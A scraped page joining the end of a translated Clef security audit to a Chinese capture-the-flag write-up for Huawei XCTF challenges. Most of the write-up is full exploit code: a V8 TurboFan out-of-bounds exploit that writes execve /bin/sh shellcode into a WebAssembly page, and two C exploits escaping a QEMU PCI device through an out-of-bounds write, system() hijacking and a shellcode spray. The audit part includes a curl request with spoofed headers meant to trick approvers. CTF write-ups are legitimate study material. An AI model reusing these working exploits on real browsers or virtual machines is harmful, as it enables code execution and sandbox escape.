### 1.14.6. 描述
当`Clef`通过其公开的API接收请求时，元数据将显示给负责处理它的用户。此元数据包括的各种字段均与IP地址，用户代理，来源等签名内容无关。在`signer/core/cliui.go`中有6个通过调用`showMetadata()`来调用此功能。其中一些字段可能会被轻微篡改，并可能提供错误的理解，因为用户可能过分依赖它们而不是重要的字段。
Clef将接受以下“恶意”请求（使用Go代码示例注释编造的JSON）。
curl http://localhost:8550/ \
-i -H "Content-Type: application/json" \
-X POST --data '{...}' \
-A "indicates INVALID CHECKSUM IS EXPECTED" \
-H "Origin: NCC Group requires IMMEDIATE APPROVAL per direction of J Smith"
Clef 将向用户显示以下信息
--------- Transaction request------------- to: 0x07a565b7ed7d7a678680a4c162885bedbb695fe0
WARNING: Invalid checksum on to-address!
from: 0x82A2A876D39022B3019932D30Cd9c97ad5616813 [chksum ok]
value: 16 wei
gas: 0x333 (819)
gasprice: 291 wei
nonce: 0x0 (0)
data: 0x4401a6e40000000000000000000000000000000000000000000000000000...012
Transaction validation:
* WARNING : Invalid checksum on to-address
* Info : safeSend(address: 0x0000000000000000000000000000000000000012)
Request context:
127.0.0.1:40802 -> HTTP/1.1 -> localhost:8550
User-Agent: indicates INVALID CHECKSUM IS EXPECTED
Origin: NCC Group requires IMMEDIATE APPROVAL per direction of J Smith
------------------------------------------- Approve? [y/N]:
>
如目前所示，元数据对合法请求几乎没有好处，却可能促进非法请求。天真的用户可能会将无关的请求数据视为取代上述真实警告并错误地批准此交易。
### 1.14.7. 复现步骤
如果没有明确的描述和警告，请不要在特定于审批的数据旁边显示请求元数据。 要么明确标记所显示的类别，并警告不能依赖请求数据，要么只删除所有请求数据。
### 1.14.8. 修复建议
如果没有明确的描述和警告，请不要在特定允许的数据旁边显示请求元数据。要么明确标记所显示的类别，并警告不能依赖请求数据，要么只删除所有请求数据。
### 1.14.9. 客户反馈
在显示由API的外部调用者提供的元数据之前添加了另一条消息：github.com/holiman/go-ethereum/commit/c6d7644e5a5bd0fe23c7f060a390112115515cab
## 1.4. 附录
### 1.4.1. 声明
我们努力提供准确的翻译，可能有些部分不太准确，部分内容不太重要并没有进行翻译，如有需要请参见原文。
### 1.4.2. 原文地址
<https://github.com/ethereum/go-ethereum/blob/master/docs/audits/2018-09-14_Clef-audit_NCC.pdf> | 社区文章 |
# 华为XCTF部分 Realworld && pwn 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 华为XCTF 第三场 v8
很幸运又一次抢到了一血
patch文件和wctf的indepence_day差不多，所以原理部分就分析WCTF那题
主要涉及map的stable和unstable
##### 利用过程：
利用漏洞更改另一个Array的size
在Array后面布置obj和ArraryBuffer
设置Addrof和任意地址读写原语
利用wasm来getshell
##### 脚本
const MAX_ITERATIONS = 10000;
var max_size = 1020*4;
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var uint32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64-bit unsigned integer to Floating point
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function f2half(val)
{
float64[0]= val;
let tmp = Array.from(uint32);
return tmp;
}
function half2f(val)
{
uint32.set(val);
return float64[0];
}
// 64-bit unsigned integer to hex
function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}
function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}
// wasm obj
func = wasm_func();
//%DebugPrint(func);
//%SystemBreak();
// gc function to move data to old space
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
arr = [1.1, 1.2, 1.3,1.4];
/* make the map stable */
arr.x = 2;
//var oob_array = [1.1,2.2];
//%DebugPrint(arr);
//%DebugPrint(oob_array);
//%DebugPrint(obj_array);
//%DebugPrint(big_uint_array);
//%SystemBreak();
// write back, form the oob_arr now
console.log(half2f(0x20200000n));
function foo1(idx) {
for(let i = 0; i < 10000; i++);
/* when accessing the global array, TurboFan will insert a StableMap
* dependency instead of a CheckMaps node. Since we disabled dependencies
* this will turn into an OOB write. */
arr[idx] = 4.063e-320;
}
for (let i = 0; i < 1000; i++) {
foo1(0);
}
/* change arr to dictionary map */
arr[0x100000] = 1.23;
/* allocate array to corrupt behind dictionary */
let oob_array = [1.1, 1.2, 1.3, 1.4];
var obj_array = {m:0xdead, n:func};
var big_uint_array = new BigUint64Array(6);
big_uint_array[0] = 0x1234n;
big_uint_array[1] = 0x5678n;
/* overwrite corrupt's backing store length */
foo1(33);
//%DebugPrint(arr);
//%DebugPrint(corrupt);
console.log(oob_array.length);
var float_object_idx = 0;
for(let i=0; i<max_size/2; i++) {
if(f2half(oob_array[i])[1] == 0xdead<<1) {
float_object_idx = i + 1;
print("[+] float idx of object is: "+hex(float_object_idx));
break;
}
}
// looking for the idx of big uint array
var float_array_big_base_idx = 0;
var float_array_big_external_idx = 0;
var floag_array_big_len_idx = 0;
for(let i=0; i<max_size/2; i++) {
if(f2i(oob_array[i]) == 0x1234n) {
float_array_big_len_idx = i+10;
float_array_big_external_idx = i + 11;
float_array_big_base_idx = i + 12;
print("[+] float idx of big uint array len is: "+hex(float_array_big_base_idx));
print("[+] float idx of big uint array base addr is: "+hex(float_array_big_base_idx));
print("[+] float idx of big uint array external addr is: "+hex(float_array_big_external_idx));
break;
}
}
function Addr_of(obj)
{
obj_array.n = obj;
let addr = f2half(oob_array[float_object_idx])[0];
return BigInt(addr)
}
var big_uint_array_len = f2i(oob_array[float_array_big_len_idx]);
var big_uint_array_base_ptr = f2i(oob_array[float_array_big_base_idx]);
var big_uint_array_external_ptr = f2i(oob_array[float_array_big_external_idx]);
var compress_heap_high_addr = big_uint_array_external_ptr & 0xffffffff00000000n;
print ("[+] heap high addr: " + hex(compress_heap_high_addr));
function In_heap_read64(addr)
{
oob_array[float_array_big_base_idx] = i2f(addr-0x8n);
let val = big_uint_array[0];
oob_array[float_array_big_base_idx] = i2f(big_uint_array_base_ptr);
return val;
}
function In_heap_write64(addr, val)
{
oob_array[float_array_big_external_idx] = i2f(addr-0x8n);
big_uint_array[0] = val;
oob_array[float_array_big_external_idx] = i2f(big_uint_array_external_ptr);
return;
}
function Byte_to_big_int_array(payload)
{
let sc = []
let tmp = 0n;
let len = BigInt(Math.ceil(payload.length/8))
for (let i = 0n; i < len; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
let c = payload[i*8n+j]
if(c === undefined) {
c = 0;
}
tmp += BigInt(c)*(0x1n<<(8n*j));
}
sc.push(tmp);
}
return sc;
}
function In_heap_write(addr, payload)
{
let sc = Byte_to_big_int_array(payload);
oob_array[float_array_big_len_idx] = i2f(sc.length);
oob_array[float_array_big_base_idx] = i2f(addr-0x8n);
for(let i = 0; i<sc.length; i+=i) {
big_uint_array[i] = sc[i];
}
oob_array[float_array_big_base_idx] = i2f(big_uint_array_base_ptr);
oob_array[float_array_big_len_idx] = big_uint_array_len;
}
function Arbitraty_write(addr, payload)
{
let sc = Byte_to_big_int_array(payload);
oob_array[float_array_big_len_idx] = i2f(BigInt(sc.length));
oob_array[float_array_big_base_idx] = i2f(0n);
oob_array[float_array_big_external_idx] = i2f(addr);
for(let i = 0; i<sc.length; i+=1) {
big_uint_array[i] = sc[i];
}
oob_array[float_array_big_len_idx] = big_uint_array_len;
oob_array[float_array_big_base_idx] = big_uint_array_base_ptr;
oob_array[float_array_big_external_idx] = big_uint_array_external_ptr;
}
// %DebugPrint(func);
var wasm_obj_addr = Addr_of(func);
print("[+] wasm obj addr: "+hex(wasm_obj_addr));
var shared_info_addr = In_heap_read64(wasm_obj_addr+0xcn)&0xffffffffn;
print("[+] wasm shared info addr: "+hex(shared_info_addr));
var wasm_exported_function_data_addr = In_heap_read64(shared_info_addr+4n)&0xffffffffn;
print("[+] wasm exported function aata addr addr: "+hex(wasm_exported_function_data_addr));
var instance_addr = In_heap_read64(wasm_exported_function_data_addr+0x8n)&0xffffffffn;
print("[+] instance addr addr: "+hex(instance_addr));
var rwx_addr = In_heap_read64(instance_addr+0x68n);
print("[+] rwx addr: "+hex(rwx_addr));
// %SystemBreak();
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
var shellcode = ['0x48', '0x31', '0xf6', '0x56', '0x48', '0xbf', '0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x63', '0x61', '0x74', '0x57', '0x49', '0x89', '0xe1', '0x54', '0x5f', '0x56', '0x48', '0xc7', '0xc6', '0x66', '0x6c', '0x61', '0x67', '0x56', '0x49', '0x89', '0xe0', '0x6a', '0x0', '0x41', '0x50', '0x41', '0x51', '0x54', '0x5e', '0x6a', '0x3b', '0x58', '0x99', '0xf', '0x5']
var shellcode = ['0x48', '0x31', '0xf6', '0x56', '0x48', '0xbf', '0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x2f', '0x73', '0x68', '0x57', '0x54', '0x5f', '0xb0', '0x3b', '0x99', '0xf', '0x5']
let sc = Byte_to_big_int_array(shellcode);
// %DebugPrint(big_uint_array);
// %SystemBreak();
Arbitraty_write(rwx_addr, shellcode);
func();
### 2019 WCTF independence day
#### 0 环境搭建
git reset --hard c93858abcd73a4632db955392232ba1d1d21c3af
git apply < ..\d8-strip-globals.patch
git apply < ..\independence.patch
gclient sync
ninja -C out.gn/x64.release d8 8:19
#### 1 背景知识
##### transition chain
我们知道js对象是含有map的，transition chain指的是map的变换过程
下面举一个例子来介绍（例子来自某大佬一篇文章）
const point = {};
point.x = 4;
point.y = 5;
point.z = 6;
对应的map变换过程
我的理解是
每进行一次赋值，就有一次map的变化（当然这里还有immutable和mutable的区别）
整个map变化的过程就是一个transition chain
##### stable map
首先推荐两篇关于stable map的文章
Project Zero: Trashing the Flow of Data (googleprojectzero.blogspot.com)
SSD Advisory – Chrome Turbofan Remote Code Execution
这里首先提一下map含有stable map和unstable map
前面讲过了transition chain，在transition chain的尾端就是stable map
下面举个例子
首先声明了一个对象，并用debugPrint打印了信息
之后进行了一次变换，再次打印信息
由于这是最后一次变化，所以这是transition chain的尾端节点，所以这是一个stable_map，上图中也可以看出
##### dependency
当一个Js对象的结构不符合JIT优化代码时，JIT代码就会进行deoptimized来防止类型混淆。v8中有两种方式来防止类型混淆
第一种是提供kCheckMaps节点，如果提供的map类型不符合，就会bails out
第二种当map所代表的结构发生变化，依赖于这个map的JIT代码会被标记为deoptimized，下一次调用的时候发生deoptimized
#### 2 题目分析
patch脚本如下
第一个是将所有的install:Dependency代码注释了
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 24817ca65c..4079f6077d 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -925,6 +925,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
+#if 0
Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
isolate);
Handle<DependentCode> new_deps =
@@ -932,6 +933,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
// Update the list head if necessary.
if (!new_deps.is_identical_to(old_deps))
DependentCode::SetDependentCode(object, new_deps);
+#endif
}
Handle<DependentCode> DependentCode::InsertWeakCode(、
第二个是将wasm禁用了
commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d
Author: Your Name <you@example.com>
Date: Sat Dec 15 18:21:08 2018 +0100
strip global in realms
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 98bc56ad25..e72f528ae5 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1043,9 +1043,8 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
主要还是在于第一个patch的分析，文件注释了install:dependency的全部内容
起初不清楚dependency机制，所以并不清楚应该如何继续
#### 3 漏洞分析
正如前面背景知识介绍的，Dependency机制是Map检查的一种方式
首先分析一下Map检查机制
src/compiler/property-access-builder.cc中的关键Buildcheckmap相关函数
void PropertyAccessBuilder::BuildCheckMaps(
Node* receiver, Node** effect, Node* control,
ZoneVector<Handle<Map>> const& receiver_maps) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
MapRef receiver_map = m.Ref(broker()).map();
if (receiver_map.is_stable()) {<==========判断是不是stable_map
for (Handle<Map> map : receiver_maps) {
if (MapRef(broker(), map).equals(receiver_map)) {
dependencies()->DependOnStableMap(receiver_map);
return;<==========如果是stablemap就经过dependonstableMap处理然后返回
}
}
}
}
ZoneHandleSet<Map> maps;
CheckMapsFlags flags = CheckMapsFlag::kNone;
for (Handle<Map> map : receiver_maps) {
MapRef receiver_map(broker(), map);
maps.insert(receiver_map.object(), graph()->zone());
if (receiver_map.is_migration_target()) {
flags |= CheckMapsFlag::kTryMigrateInstance;
}
}
*effect = graph()->NewNode(simplified()->CheckMaps(flags, maps), receiver,
*effect, control);<==========如果不是stablemap就插入CheckMap节点
}
仔细阅读上面的源码部分，在BuildCheckMap的时候是两个分支，如果对应的obj是stableMap就经过DependOnStableMap处理然后返回，否则就插入CheckMap节点。
关于DependOnStableMap函数（src/compiler/compilation-dependencies.cc）
void CompilationDependencies::DependOnStableMap(const MapRef& map) {
if (map.CanTransition()) {
RecordDependency(new (zone_) StableMapDependency(map));<====调用
} else {
DCHECK(map.is_stable());
}
}
void CompilationDependencies::RecordDependency(Dependency const* dependency) {
if (dependency != nullptr) dependencies_.push_front(dependency);
}
这个函数调用RecordDependency函数，将Map值压入一个dependency_对象中
所以，如果是stableMap的话，会注册一个 compilation dependencies的回调到map中
而这里的patch文件
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 1004180669..b032e456b9 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -943,18 +943,6 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
- if (V8_UNLIKELY(FLAG_trace_code_dependencies)) {
- StdoutStream{} << "Installing dependency of [" << code->GetHeapObject()
- << "] on [" << object << "] in group ["
- << DependencyGroupName(group) << "]\n";
- }
- Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
- isolate);
- Handle<DependentCode> new_deps =
- InsertWeakCode(isolate, old_deps, group, code);
- // Update the list head if necessary.
- if (!new_deps.is_identical_to(old_deps))
- DependentCode::SetDependentCode(object, new_deps);
}
Handle<DependentCode> DependentCode::InsertWeakCode(
删除了install compile dependency部分的代码
这个DependentCode::InstallDependency函数（即patch取消的函数）
使得stableMap的dependency机制失效
如果我们使用一个stable map的arr，将不会有任何的类型检查，于是就有了一个type confusion。
#### 4 POC 源码调试
poc.js
arr = [1.1, 2.2, 3.3,4.4];
// make the map stable
arr.x = 1;
function foo(idx) {
return arr[idx];
}
// optimize foo
for (i = 0; i < 100000; i++){
foo(1);
}
// change arr to dictionary map
arr[0x100000] = 5.5;
%SystemBreak();
console.log(foo(1000));
%SystemBreak();
由于我们创建了Stable_map对象，所以调试的时候会在对应的BuildCheckMap位置断下
之后又在stable_map的Install_dependency函数位置断下
由于Install_dependency函数被注释掉，所以这里相当于没有检查机制,所以就可以做很多……
## 华为XCTF 第一场fastexec
这题还是挺遗憾的，本地做的挺好，可惜远程传文件和cat
flag一步出了问题（原来flag文件命名是flag_+一串字符串）血亏，这里我用的方法是hint中的注入shellcode
### 0x01 程序功能
一个mmio_write（其中含有一次越界写）
一个mmio_read
静态条件下，device的结构
动态条件下的结构
打印不出全部，因为size不够
### 0x02 题目漏洞与利用
#### 漏洞
一次越界写
##### 方法一
这个方法是haivk师傅做出来的，当时我在测试的时候没有弄好越界向上写，导致我认为只能够向下写，所以没有想到。
当时我是这样测试的
动态调试的时候
在set off那一步
程序传进来的数字不是64位的负1，而是32位的
这就导致下面的内存(exec,off,size,addr)
而结构体的位置+0xffffffff = 下面的位置（不是我们期待的上溢，而且也没用）
所以我认为没有上溢
###### 实现
haivk师傅具体描述如下
可以考虑低字节写opaque，使得opaque设备对象向上移动，在内存里找到合适位置，使得opaque->execed为0，而其他字段有内容，这样，这可以利用设备的read函数，读取字段便可以泄露地址，而且由于opaque->execed为0，我们还可以再次进行任意地址写
最后，我们可以劫持设备MemoryRegion里的ops和opaque，其中ops为虚表，我们劫持到可控区，opaque为rdi，可以作为参数，最后调用设备read即可触发。由于本题是低字节覆盖，因此需要爆破4bit，多次几次就可以成功。
首先看看上溢出的实现
首先设置要写的字节是0xef88, 设置off为-0xc0 ，设置size 为2
对应的动态内存
set off的时候
对应的设置之后
后来明白了 编译用的32位（害人不浅）
重新64位编译成功….（吐了）
下面的就顺利写完了
###### step1
change opaque指针
0xf010 – > 0xef88
加上偏移之后的值
修改之后的fake_struct
此时进行mmio_read可以泄露exe_base
泄露base地址后
可以通过搜索然后交叉引用，一直找到plt表的system
###### step2
继续修改opaque_base
修改完base之后看一下内存
这次可以读取的是obj+off的一个地址
获得了obj的地址以便于下一步的伪造
###### step3
伪造obj结构进行提权
printf("obj_addr=0x%lx\n",obj_addr);
d[0] = obj_addr + 0x948;
d[1] = obj_addr + 0x950;
d[2] = system_addr;
char cmd[0x100] = "cat ";
char *f = argv[1];
int len = strlen(f);
strcat(cmd,f);
cmd[strlen(cmd)] = 0;
//劫持设备对象
memcpy(buffer+0x18,cmd,strlen(cmd)+1);
mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);
对应的内存位置
Python>hex(0x00007f9d0acfefc8+0xa00-0x80)
0x7f9d0acff948L
对应的四个数字的含义(虚表+结构体+container?+size)
进行修改之后的数据
对应的含义
虚表位置改成了0x958也就是system的位置
对应的rdi就是结构体的位置（指向了size位置）
这样下次进行op操作就提权了
最终脚本
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#define PFN_MASK ((((size_t)1)<<54)-1)
char *mmio;
/*我们程序的缓冲在虚拟机里对应的物理地址*/
size_t buffer_phys_addr;
char *buffer;
void die(char *msg) {
perror(msg);
exit(-1);
}
//写设备内存
void mmio_write(uint64_t addr,uint64_t val) {
*((uint64_t *)(mmio + addr)) = val;
}
//读设备内存
uint64_t mmio_read(uint64_t addr) {
return *((uint64_t *)(mmio + addr));
}
void setPhyAddr(uint64_t val) {
mmio_write(24,val);
}
void setPos(uint64_t val) {
mmio_write(8,val);
}
void setLength(uint64_t val) {
mmio_write(16,val);
}
void mem_read_write(uint64_t phyAddr,uint64_t pos,uint64_t length) {
setPhyAddr(phyAddr);
setPos(pos);
setLength(length);
mmio_write(32,63021);
}
size_t get_phys_addr(char *vir_addr) {
int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/
if (fd == -1) {
die("open pagemap error");
}
size_t vir = (size_t)vir_addr;
// /0x1000获得是第n页的这个n，由于一个记录数据8字节，因此*8，算的的就是该页在文件里的记录的偏移
size_t offset = vir / 0x1000 * 8;
if (lseek(fd,offset,SEEK_SET) == -1) {
die("lseek pagemap error");
}
size_t addr;
if (read(fd,&addr,8) != 8) {
die("read pagemap error");
}
addr = (addr & PFN_MASK) * 0x1000;
return addr;
}
int main(int argc,char ** argv) {
//打开设备
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
if (fd == -1) {
die("open device error");
}
//映射设备内存
mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio == MAP_FAILED) {
die("mmap device memory error");
}
/*映射一块缓冲区*/
buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
if (buffer == MAP_FAILED) {
die("mmap local buffer error");
}
//必须锁住内存，才能准确获得物理地址
mlock(buffer, 0x1000);
//获得buffer的物理映射地址
buffer_phys_addr = get_phys_addr(buffer);
printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr);
uint64_t *d = (uint64_t*)buffer;
size_t low = 0xf010 - 0x88;//0xf010每次都是 0xef88
buffer[0] = low & 0xff;
low = low >> 8;//移动一个字节
buffer[1] = low & 0xff;
mem_read_write(buffer_phys_addr,-0xc0,2);
size_t elf_base = mmio_read(16) - 0x31bd40;
size_t system_addr = elf_base + 0x2C2180;
printf("elf_base=0x%lx\n",elf_base);
printf("system_addr=0x%lx\n",system_addr);
//-------------------------------------------------------------------- low = 0xf010 - 0x48;//0xefc8
buffer[0] = low & 0xff;
low = low >> 0x8;
buffer[1] = low & 0xff;
mem_read_write(buffer_phys_addr,-0x38,0x2);//继续修改opqaue_base
size_t obj_addr = mmio_read(0x8) - 0x998;
printf("obj_addr=0x%lx\n",obj_addr);
//拼接cat flag_32jr.....
char cmd[0x100] = "cat ";
char *f = argv[1];
int len = strlen(f);
strcat(cmd,f);
cmd[strlen(cmd)] = 0;
//伪造obj
d[0] = obj_addr + 0x948;
d[1] = obj_addr + 0x950;
d[2] = system_addr;
memcpy(buffer+0x18,cmd,strlen(cmd)+1);
mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);
mmio_read(0x66);
return 0;
};
##### 方法二
观察到程序中有RWX断，并且根据内存分布，将off改大可以写到那个位置。
程序会自己执行到RWX段，所以利用一次写直接注入shellcode
首先观察到程序中含有RWX段，并且我实际尝试的时候在RWX段的某个位置下断点是可以断下来的，这个应该是一个什么机制吧（为什么能断下来我也没搞清楚）
上图一个对应的是RWX段，一个对应的是我们的fastexec设备（在这次运行中RWX段位于上方），可以看到这个RWX段size特别大，而其它的段size相对较小，所以如果我们越界写的off设置的足够大（比如我用了0xaff0000），而此时如果RWX段位于fastexec设备的下面，那么这次越界写，就会写到rwx段
至于上方下方这个问题，每次运行是随机顺序的，比如之后的一次运行，这两个段顺序就进行了互换
最终脚本
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define DMABASE 0x40000
char *userbuf;
uint64_t phy_userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main()
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)//"/sys/devices/pci0000:00/0000:00:04.0/resource0"
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
// Allocate DMA buffer and obtain its physical address
userbuf = mmap(0, 0xb00000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap");
mlock(userbuf, 0xb00000);
phy_userbuf=gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n",userbuf);
printf("user buff physical address: %p\n",(void*)phy_userbuf);
// char * s = malloc(0x500);
unsigned char * nop = malloc(0x1000);
unsigned char *sh_x64_21="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
// unsigned char *orw = "\x68\x66\x6C\x61\x67\x48\x89\xE7\x31\xF6\xB8\x02\x00\x00\x00\x0F\x05\x83\xF8\x00\x78\x1E\x89\xC7\x48\x89\xE6\xBA\x64\x00\x00\x00\x31\xC0\x0F\x05\x89\xC2\x48\x89\xE6\xB8\x01\x00\x00\x00\x89\xC7\x0F\x05\xEB\x29\x48\xB8\x6F\x70\x65\x6E\x20\x65\x72\x72\x48\x89\x04\x24\xB8\x6F\x72\x21\x0A\x48\x89\x44\x24\x08\x48\x89\xE6\xBF\x01\x00\x00\x00\xBA\x0C\x00\x00\x00\x89\xF8\x0F\x05\x31\xFF\xB8\xE7\x00\x00\x00\x0F\x05";
unsigned char * orw = "\x48\xB8\x65\x37\x66\x64\x33\x00\x00\x00\x50\x48\xB8\x33\x61\x65\x34\x38\x64\x66\x64\x50\x48\xB8\x37\x63\x30\x30\x36\x63\x64\x34\x50\x48\xB8\x61\x39\x62\x64\x33\x65\x62\x30\x50\x48\xB8\x66\x6C\x61\x67\x5F\x35\x65\x63\x50\x48\x89\xE7\x31\xF6\xB8\x02\x00\x00\x00\x0F\x05\x83\xF8\x00\x78\x1C\x89\xC7\x48\x89\xE6\xBA\x64\x00\x00\x00\x31\xC0\x0F\x05\x89\xC2\x48\x89\xE6\xB8\x01\x00\x00\x00\x89\xC7\x0F\x05\x48\xB8\x6F\x70\x65\x6E\x20\x65\x72\x72\x0F\x05";
memset(nop,'\x90',0xe30);
int i=0;
for(;i<255*11;i++)
{
memcpy(userbuf+i*0x1000,nop,0xe30);
memcpy(userbuf+0xe30+i*0x1000,sh_x64_21,112);
// printf();
}
// printf("%s\n",nop);
mmio_write(8, 0xaff0000);//0x539 0xb3e5f0 0x2936760 3？ 0x96f000
mmio_write(0x10, 0x90000+0x100);
mmio_write(0x18, phy_userbuf);
mmio_write(0x20, 0xF62D);
// uint64_t leak_stdout=*(uint64_t*)userbuf;
// printf("leaking stdout function: %p\n",(void*)leak_stdout);
return 0;
}
运行结果（这里如果师傅们想要调试，可能要改下shellcode，因为我的shellcode对应的文件名是flag_5eca9bd3eb07c006cd43ae48dfde7fd3）
### 0x03 操作
##### 0.1 进行结构的创建
起初的样子
可以看到右击之后是有创建结构选项的（或者直接点击convert to struct*）
之后自动弹出了下面的东西
根据我们在local_type里面看到的结构进行修改
00000000 FastexecState struc ; (sizeof=0x100A00, align=0x10, copyof_4530)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 execed dq ?
000009E8 offset dq ?
000009F0 size dq ?
000009F8 paddr dq ?
00000A00 buf db 1048576 dup(?)
00100A00 FastexecState ends
00100A00
修改之后的样子
##### 0.2 调试方法
写这个是怕自己以后又忘了
首先左边 sudo ./launsh.sh启动机器
右边查看进程的pid
之后sudo gdb 进行进程的attach
下断点的方法
##### 0x03 动态调试的时候看结构
效果图
首先我们知道了结构对应的内存地址
随便瞟一眼
之后根据local_type的结构提示
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
可以这样
同时还可以发现
##### 0x04 pym 与 membuffer
用户态操作membuffer，cpu_mem_rw操作pym
一个virtual_mem一个物理地址，对应的同一篇内存
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR);
if (fd == -1) {
die("open device error");
}
//映射设备内存
mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio == MAP_FAILED) {
die("mmap device memory error");
}
/*映射一块缓冲区*/
buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0);
if (buffer == MAP_FAILED) {
die("mmap local buffer error");
}
//必须锁住内存，才能准确获得物理地址
mlock(buffer, 0x1000);
//获得buffer的物理映射地址
